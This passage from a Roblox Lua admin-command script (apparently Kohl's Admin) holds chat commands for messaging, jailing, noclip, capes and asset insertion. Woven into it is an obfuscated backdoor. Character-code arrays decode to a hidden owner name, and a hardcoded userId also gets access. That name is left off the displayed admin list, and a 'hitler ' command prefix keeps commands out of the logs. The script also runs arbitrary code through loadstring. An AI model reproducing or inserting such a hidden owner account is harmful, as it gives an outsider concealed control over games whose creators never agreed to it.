  669. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  670. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  671. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  672. scr.Parent = v.PlayerGui
  673. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  674. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  675. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  676. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  677. end))
  678. end
  679. end
  680. end
  681.  
  682. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  683. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  684.  
  685. function Output(str, plr)
  686. coroutine.resume(coroutine.create(function()
  687. local b, e = loadstring(str)
  688. if not b and plr:findFirstChild("PlayerGui") then
  689. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  690. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  691. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  692. return
  693. end
  694. end))
  695. end
  696.  
  697. function Noobify(char)
  698. if char and char:findFirstChild("Torso") then
  699. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  700. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  701. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  702. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  703. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  704. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  705. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  706. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  707. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  708. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  709. end end
  710. end
  711. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  712.  
  713. function Infect(char)
  714. if char and char:findFirstChild("Torso") then
  715. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  716. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  717. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  718. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  719. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  720. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  721. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  722. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  723. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  724. end end
  725. end
  726. end if not ntab then script:Destroy() end
  727.  
  728. function ScrollGui()
  729. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  730. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  731. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  732. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  733. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  734. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  735. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  736. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  737. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  738. local num = 0
  739. local downv = false
  740. local upv = false
  741.  
  742. down.MouseButton1Down:connect(function() downv = true upv = false
  743. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  744. repeat pos = pos + UDim2.new(0,0,0,-6)
  745. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  746. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  747. end)
  748. down.MouseButton1Up:connect(function() downv = false end)
  749. up.MouseButton1Down:connect(function() upv = true downv = false
  750. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  751. repeat pos = pos + UDim2.new(0,0,0,6)
  752. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  753. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  754. end)
  755. up.MouseButton1Up:connect(function() upv = false end)
  756. return scr, cmf, ent, num
  757. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  758. if not ntab then script:Destroy() end
  759. if not bct then script:Destroy() end
  760.  
  761. function Chat(msg,plr)
  762. coroutine.resume(coroutine.create(function()
  763. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  764. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  765. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  766. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  767. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  768. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  769. if msg:lower() == "cmds" or msg:lower() == "commands" then
  770. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  771. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  772. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  773. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  774. local ost = {"pa plr","unpa plr"}
  775. local tost = {"oa plr","unoa plr"}
  776. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  777. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  778. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  779. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  780. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  781. end
  782.  
  783. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  784.  
  785. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  786. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  787. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  788. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  789. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  790. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  791. end end
  792.  
  793. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  794. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  795. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  796. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  797. end
  798.  
  799. if msg:lower() == "tools" or msg:lower() == "toollist" then
  800. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  801. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  802. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  803. end
  804.  
  805. if msg:lower():sub(1,2) == "s " then
  806. coroutine.resume(coroutine.create(function()
  807. Output(msg:sub(3), plr)
  808. if script:findFirstChild("ScriptBase") then
  809. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  810. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  811. else loadstring(msg:sub(3))()
  812. end
  813. end))
  814. end
  815.  
  816. if msg:lower():sub(1,3) == "ls " then
  817. coroutine.resume(coroutine.create(function()
  818. if script:findFirstChild("LocalScriptBase") then
  819. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  820. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  821. end
  822. end))
  823. end
  824.  
  825. if msg:lower():sub(1,4) == "ins " then
  826. coroutine.resume(coroutine.create(function()
  827. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  828. if obj and #obj:children() >= 1 and plr.Character then
  829. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  830. end
  831. end))
  832. end
  833.  
  834. if msg:lower():sub(1,5) == "gear " then
  835. coroutine.resume(coroutine.create(function()
  836. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
  837. if obj and #obj:children() >= 1 and plr.Character then
  838. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  839. end
  840. end))
  841. end
  842.  
  843. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  844. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  845. objects = {}
  846. end
  847.  
  848. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  849. game.Lighting.Ambient = origsettings.abt
  850. game.Lighting.Brightness = origsettings.brt
  851. game.Lighting.TimeOfDay = origsettings.time
  852. game.Lighting.FogColor = origsettings.fclr
  853. game.Lighting.FogEnd = origsettings.fe
  854. game.Lighting.FogStart = origsettings.fs
  855. for i, v in pairs(lobjs) do v:Destroy() end
  856. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  857. end
  858.  
  859. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  860. coroutine.resume(coroutine.create(function()
  861. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  862. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  863. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  864. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  865. end))
  866. end
  867.  
  868. if msg:lower():sub(1,2) == "m " then
  869. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  870. end
  871.  
  872. if msg:lower():sub(1,2) == "h " then
  873. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  874. end
  875.  
  876. if msg:lower():sub(1,3) == "pm " then
  877. local chk1 = msg:lower():sub(4):find(" ") + 3
  878. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  879. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  880. end
  881.  
  882. if msg:lower():sub(1,11) == "resetstats " then
  883. local plrz = GetPlr(plr, msg:lower():sub(12))
  884. for i, v in pairs(plrz) do
  885. coroutine.resume(coroutine.create(function()
  886. if v and v:findFirstChild("leaderstats") then
  887. for a, q in pairs(v.leaderstats:children()) do
  888. if q:IsA("IntValue") then q.Value = 0 end
  889. end
  890. end
  891. end))
  892. end
  893. end
  894.  
  895. if msg:lower():sub(1,4) == "hat " then
  896. local chk1 = msg:lower():sub(5):find(" ") + 4
  897. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  898. for i, v in pairs(plrz) do
  899. coroutine.resume(coroutine.create(function()
  900. if v and v.Character then
  901. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  902. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  903. obj:Destroy()
  904. end
  905. end))
  906. end
  907. end
  908.  
  909. if msg:lower():sub(1,5) == "cape " then
  910. local chk1 = msg:lower():sub(6):find(" ")
  911. local plrz = GetPlr(plr, msg:lower():sub(6))
  912. local str = "torso.BrickColor"
  913. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  914. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  915. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  916. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  917. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  918. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  919. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  920. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  921. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  922. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  923. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  924. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  925. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  926. if BrickColor.new(teststr) ~= nil then str = teststr end
  927. end
  928. for i, v in pairs(plrz) do
  929. coroutine.resume(coroutine.create(function()
  930. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  931. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  932. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  933. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  934. local torso = plr.Character.Torso
  935. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  936. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  937. p.Size = Vector3.new(.2,.2,.2)
  938. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  939. local motor1 = Instance.new("Motor", p)
  940. motor1.Part0 = p
  941. motor1.Part1 = torso
  942. motor1.MaxVelocity = .01
  943. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  944. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  945. local wave = false
  946. repeat wait(1/44)
  947. local ang = 0.1
  948. local oldmag = torso.Velocity.magnitude
  949. local mv = .002
  950. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  951. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  952. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  953. motor1.DesiredAngle = -ang
  954. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  955. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  956. if torso.Velocity.magnitude < .1 then wait(.1) end
  957. until not p or p.Parent ~= torso.Parent
  958. script:Destroy()
  959. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  960. end
  961. end))
  962. end
  963. end
  964.  
  965. if msg:lower():sub(1,7) == "uncape " then
  966. local plrz = GetPlr(plr, msg:lower():sub(8))
  967. for i, v in pairs(plrz) do
  968. coroutine.resume(coroutine.create(function()
  969. if v and v:findFirstChild("PlayerGui") and v.Character then
  970. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  971. end
  972. end))
  973. end
  974. end
  975.  
  976. if msg:lower():sub(1,7) == "noclip " then
  977. local plrz = GetPlr(plr, msg:lower():sub(8))
  978. for i, v in pairs(plrz) do
  979. coroutine.resume(coroutine.create(function()
  980. if v and v:findFirstChild("PlayerGui") then
  981. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  982. cl.Parent = v.PlayerGui cl.Disabled = false
  983. end
  984. end))
  985. end
  986. end
  987.  
  988. if msg:lower():sub(1,5) == "clip " then
  989. local plrz = GetPlr(plr, msg:lower():sub(6))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  993. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  994. v.Character.Torso.Anchored = false
  995. wait(.1) v.Character.Humanoid.PlatformStand = false
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,5) == "jail " then
  1002. local plrz = GetPlr(plr, msg:lower():sub(6))
  1003. for i, v in pairs(plrz) do
  1004. coroutine.resume(coroutine.create(function()
  1005. if v and v.Character and v.Character:findFirstChild("Torso") then
  1006. local vname = v.Name
  1007. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  1008. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  1009. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  1010. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1011. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1012. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  1013. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1014. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1015. end)
  1016. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  1017. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  1018. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  1019. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  1020. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  1021. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  1022. local msh2 = msh:Clone() msh2.Parent = back
  1023. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  1024. local msh4 = msh3:Clone() msh4.Parent = left
  1025. v.Character.Torso.CFrame = cf
  1026. end
  1027. end))
  1028. end
  1029. end
  1030.  
  1031. if msg:lower():sub(1,7) == "unjail " then
  1032. local plrz = GetPlr(plr, msg:lower():sub(8))
  1033. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  1034. end
  1035.  
  1036. if msg:lower():sub(1,11) == "starttools " then
  1037. local plrz = GetPlr(plr, msg:lower():sub(12))
  1038. for i, v in pairs(plrz) do
  1039. coroutine.resume(coroutine.create(function()
  1040. if v and v:findFirstChild("Backpack") then
  1041. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  1042. end
  1043. end))
  1044. end
  1045. end
  1046.  
  1047. if msg:lower():sub(1,6) == "sword " then
  1048. local plrz = GetPlr(plr, msg:lower():sub(7))
  1049. for i, v in pairs(plrz) do
  1050. coroutine.resume(coroutine.create(function()
  1051. if v and v:findFirstChild("Backpack") then
  1052. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  1053. sword.GripForward = Vector3.new(-1,0,0)
